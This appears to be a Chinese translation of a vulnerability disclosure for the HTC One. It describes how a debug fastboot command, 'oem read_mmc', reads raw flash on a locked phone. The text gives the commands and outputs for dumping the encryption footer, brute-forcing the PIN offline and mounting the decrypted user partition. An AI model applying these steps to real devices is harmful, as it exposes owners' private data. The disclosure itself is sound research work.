HTC One手機(jī)運(yùn)行的是Android 4.2.2、HBOOT 1.54.0000,它存在一個(gè)名為Bootloader的漏洞。這個(gè)漏洞早在2014年2月份就報(bào)告給了HTC官方,并在次月就修復(fù)了該漏洞。在得到HTC官方同意后,我們現(xiàn)在就將整個(gè)漏洞利用測試過程發(fā)布出來。
read_emmc命令在2011發(fā)布的HTC DesireZ手機(jī)中也曾出現(xiàn)過。這個(gè)命令允許攻擊者訪問手機(jī)內(nèi)存,并可能獲取短信、聯(lián)系人等敏感信息。
此外,這條命令允許攻擊者通過bruteforce自動(dòng)獲取手機(jī)PIN/passcode。他會(huì)打開一個(gè)額外的缺口防止用戶定義易猜解的PIN/passcode(比如說就4個(gè)數(shù)字的PIN)。這是常有的事情,因?yàn)槿粘=怄i手機(jī)也是可以使用PIN/passcode的。
這個(gè)攻擊僅限于HTC One手機(jī)且還得開啟全盤加密,也就是說手機(jī)由安卓加密保護(hù)。
read_emmc命令在部分HTC手機(jī)中似乎是一個(gè)用來調(diào)試的命令。在我們看來,這條命令不應(yīng)該出現(xiàn)在用戶手機(jī)上。
這篇文章描述了HTC One在安卓全盤加密上的強(qiáng)悍安全機(jī)制(AES加密, 合理的密鑰長度, salt) 。
訪問閃存
將HTC One關(guān)機(jī)然后插入電腦,然后進(jìn)入fastboot模式(關(guān)機(jī)狀態(tài)按住音量+鍵以及開機(jī)鍵,然后放開開機(jī)鍵),這樣我們可以從HBOOT進(jìn)入fastboot模式。
到了這里,我們就可以利用fastboot進(jìn)行讀取內(nèi)存操作了,命令如下:
commandformat: read_mmc [emmc/sd] [start] [#blocks] [#blocks/read] [show]我們來看看參數(shù)的定義:
第一個(gè)參數(shù),告訴機(jī)器從哪里讀取。“emmc”是讀取閃存,“sd”是讀取內(nèi)存卡
#blocks: 讀取塊的數(shù)量
#blocks/read:一次讀取塊的數(shù)量
show:設(shè)置成1來顯示結(jié)果
讀取第一個(gè)扇區(qū),可以使用如下命令
$fastboot oem read_mmc emmc 0 1 1 1 ... (bootloader) reading sector 0 ~ 0 (bootloader) 0 ... (bootloader) 0 (bootloader) DF (bootloader) FF (bootloader) 3 (bootloader) 0 (bootloader) 20 (bootloader) E0 (bootloader) 9F (bootloader) 3 (bootloader) 55 (bootloader) AA (bootloader) read sector done average = 172 OKAY [ 0.310s] finished. total time: 0.311s從頭開始看,我們可以看到許多的0(超過400字節(jié)),其結(jié)尾是“55 AA” 。
在手機(jī)上使用ADB Shell,我們可以看到用戶的數(shù)據(jù)分區(qū)塊“mmcblk0p37”是從6422528開始的。在安卓下它與掛載的ext4分區(qū)對應(yīng)
shell@android#cat /proc/emmc dev: size erasesize name ... mmcblk0p37: 680000000 00000200 "userdata" shell@android:# cat /sys/block/mmcblk0/mmcblk0p37/start 6422528 shell@android:# mount ... /dev/block/mmcblk0p37 /data ext4 rw,nosuid,nodev,noatime,discard,noauto_da_alloc,data=ordered 0 0因此,攻擊者可以使用“read_mmc” 命令,在閃存中瀏覽用戶數(shù)據(jù)分區(qū)中的內(nèi)容,即使用戶設(shè)定了PIN/密碼都無法阻止。
$fastboot oem read_mmc emmc 6422530 1 1 1 ... (bootloader) reading sector 6422530 ~ 6422530 (bootloader) 0 ... (bootloader) 2F (bootloader) 64 (bootloader) 61 (bootloader) 74 (bootloader) 61 ... (bootloader) read sector done average = 146 OKAY [ 0.359s] finished. total time: 0.359s“2F 64 61 74 61”字節(jié)序列是位于用戶數(shù)據(jù)分區(qū)開始的“/data” ASCII字符串。
我們的第一個(gè)想法就是實(shí)現(xiàn)從閃存將用戶數(shù)據(jù)進(jìn)行轉(zhuǎn)儲,然而這個(gè)過程需要幾天甚至是幾個(gè)月時(shí)間。
另一個(gè)想法是利用FUSE(用戶空間的文件系統(tǒng))通過USB連接電腦轉(zhuǎn)儲用戶數(shù)據(jù)。
繞過安卓全盤加密(PDE)
在HTC Desire Z( Android 2.x)時(shí)代還沒有出現(xiàn)全盤加密,我們現(xiàn)在考慮是否有辦法繞過PDE,使用“read_mmc”漏洞。
ThomasCannon在2012年Defcon大會(huì)上向我們演示了PDE工作過程,使用 bruteforce破解PIN/passcode以及解密用戶扇區(qū)數(shù)據(jù)的腳本。在那個(gè)時(shí)候,他使用的是Google Nexus S純原生,與這里這個(gè)例子稍有不同。
我們決定對設(shè)備進(jìn)行加密,“存儲>手機(jī)存儲加密”。通過其方法,我們注意到出現(xiàn)了一個(gè)額外的分區(qū),這個(gè)分區(qū)就是用來存儲密鑰的。
$hexdump -C extra 00000000 c4 b1 b5 d0 01 00 00 00 68 00 00 00 00 00 00 00 |........h.......| 00000010 20 00 00 00 00 00 00 00 00 00 40 03 00 00 00 00 |.........@.....| 00000020 00 00 00 00 61 65 73 2d 63 62 63 2d 65 73 73 69 |....aes-cbc-essi| 00000030 76 3a 73 68 61 32 35 36 00 00 00 00 00 00 00 00 |v:sha256........| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000060 00 00 00 00 00 00 00 00 {15 d2 9c 16 1c 54 40 1c |.............T@.| 00000070 b4 c1 e4 91 69 10 4b 55 2e 47 64 31 13 52 ad 2d |....i.KU.Gd1.R.-| 00000080 bd 8c 42 8e d6 c4 84 00} 00 00 00 00 00 00 00 00 |..B.............| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 [c7 1f 34 80 97 09 fd 39 |..........4....9| 000000b0 0b 4a 91 d9 d9 d8 00 cd] 00 00 00 00 00 00 00 00 |.J..............| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000200
Note: 對主密鑰及內(nèi)部數(shù)據(jù)解密,推薦大家看看Thomas的幻燈片。
我們正好處于加密頭的位置,于是我可以很快得到
shell@android#cat /proc/emmc dev: size erasesize name ... mmcblk0p27: 00010000 00000200 "extra" shell@android:# cat /sys/block/mmcblk0/mmcblk0p27/start 586799然后,我們可以再次確認(rèn)用戶數(shù)據(jù)分區(qū)被加密。第一個(gè)字節(jié)告訴我們,“This is an encrypted device:)”,這僅僅是在HTC One中才有的。他之所以能這么寫,是因?yàn)樵谀J(rèn)的ext4分區(qū)中第一個(gè)字節(jié)并沒有使用,其他字節(jié)都是隨機(jī)字節(jié)。
shell@android:#./busybox hexdump -C /dev/block/mmcblk0p37 -n 64 00000000 54 68 69 73 20 69 73 20 61 6e 20 65 6e 63 72 79 |This is an encry| 00000010 70 74 65 64 20 64 65 76 69 63 65 3a 29 6f c3 a0 |pted device:)o..| 00000020 26 bc 76 ed a8 77 ef 6a 95 28 32 ab 24 ce 8d 58 |&.v..w.j.(2.$..X| 00000030 91 fe 8e 14 9e 81 05 a4 28 65 64 3c 1b e2 11 56 |........(ed<...V| 00000040接著,我們可以確定能夠訪問這個(gè)頭,使用fastboot 中“read_mmc” 命令對用戶數(shù)據(jù)分區(qū)進(jìn)行加密
$fastboot oem read_mmc emmc 586799 1 1 1由此,我們可以編寫一個(gè)小腳本來讀取PDE頭,用戶數(shù)據(jù)分區(qū)的第一個(gè)扇區(qū)然后通過電腦進(jìn)行破解。
#python bruteforce_htcone_over_reademmc.py oem read_mmc emmc 6422528 1 1 1 oem read_mmc emmc 586799 1 1 1 Footer File : extra Magic : 0xD0B5B1C4 Major Version : 1 Minor Version : 0 Footer Size : 104 bytes Flags : 0x00000000 Key Size : 256 bits Failed Decrypts: 0 Crypto Type : aes-cbc-essiv:sha256 Encrypted Key :0x15D29C161C54401CB4C1E49169104B552E4764311352AD2DBD8C428ED6C48400 Salt : 0xC71F34809709FD390B4A91D9D9D800CD ---------------- Trying to Bruteforce Password... please wait Found PIN!: 0000 Saving decrypted master key to 'keyfile'掛載用戶數(shù)據(jù)加密分區(qū)
攻擊者可以通過上文輕松獲取PIN/passcode,他能正常接通電話,重寫或者創(chuàng)建PIN/passcode,然后開啟ADB,做他想做的任何事。
#mkdir mnt # losetup /dev/loop0 userdata.img # cryptsetup –type plain open –c aes-cbc-essiv:sha256 –d keyfile /dev/loop0userdata # mount /dev/mapper/userdata mnt
在這個(gè)例子上,我們甚至可以通過USB在電腦上執(zhí)行“read_mmc” 命令。
國產(chǎn)工具PKAV HTTP Fuzzer滲透測試助手最新發(fā)布
閱讀FireEye:11.2%的移動(dòng)APP仍存在FREAK漏洞
閱讀惠普漏洞:惠普ArcSight企業(yè)安全系列產(chǎn)品曝高危安全漏洞
閱讀騰訊、360各顯神通,分別秒殺IE、Flash、PDF項(xiàng)目
閱讀蘋果Mac OS X系統(tǒng)被發(fā)現(xiàn)存在DLL劫持漏洞
閱讀D-Link(友訊)路由器曝遠(yuǎn)程文件上傳及命令注入漏洞(已發(fā)布安全更新)
閱讀Win10將使用P2P進(jìn)行系統(tǒng)更新,引發(fā)安全擔(dān)憂
閱讀美國最大的無卡ATM網(wǎng)絡(luò)即將推出,從此告別刷卡!
閱讀谷歌應(yīng)用漏洞泄漏超過28萬條私人WHOIS數(shù)據(jù)
閱讀使命召喚、魔獸世界、英雄聯(lián)盟……專攻游戲的勒索軟件TeslaCrypt
閱讀本站所有軟件,都由網(wǎng)友上傳,如有侵犯你的版權(quán),請發(fā)郵件[email protected]
湘ICP備2022002427號-10 湘公網(wǎng)安備:43070202000427號© 2013~2025 haote.com 好特網(wǎng)